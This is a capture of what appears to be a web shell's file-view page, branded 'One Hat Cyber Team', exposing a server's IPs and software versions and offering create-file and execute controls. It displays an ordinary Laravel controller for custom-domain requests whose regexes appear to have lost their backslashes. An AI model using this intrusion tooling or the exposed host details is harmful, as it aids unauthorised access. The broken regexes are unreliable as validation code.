⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
public_html
/
app
/
Http
/
Controllers
/
User
/
View File Name :
DomainController.php
<?php namespace App\Http\Controllers\User; use App\Http\Controllers\Controller; use App\Models\BasicExtended; use App\Models\User\UserCustomDomain; use Auth; use Illuminate\Http\Request; use Session; class DomainController extends Controller { public function domains() { $rcDomain = UserCustomDomain::where('status', '<>', 2)->where('user_id', Auth::user()->id)->orderBy('id', 'DESC')->first(); $data['rcDomain'] = $rcDomain; return view('user.domains', $data); } public function isValidDomain($domain_name) { return (preg_match("/^([a-zd](-*[a-zd])*)(.([a-zd](-*[a-zd])*))*$/i", $domain_name) //valid characters check && preg_match("/^.{1,253}$/", $domain_name) //overall length check && preg_match("/^[^.]{1,63}(.[^.]{1,63})*$/", $domain_name) ); //length of every label } public function domainrequest(Request $request) { $be = BasicExtended::select('domain_request_success_message', 'cname_record_section_title')->first(); $rules = [ 'custom_domain' => [ 'required', function ($attribute, $value, $fail) use ($be) { // if user request the current domain if (getCdomain(Auth::user()) == $value) { $fail('You cannot request your current domain.'); } // check if domain is valid if (!$this->isValidDomain($value)) { $fail('Domain format is not valid'); } } ] ]; $request->validate($rules); $cdomain = new UserCustomDomain; $cdomain->user_id = Auth::user()->id; $cdomain->requested_domain = $request->custom_domain; $cdomain->current_domain = getCdomain(Auth::user()); $cdomain->status = 0; $cdomain->save(); $request->session()->flash('domain-success', $be->domain_request_success_message); return back(); } }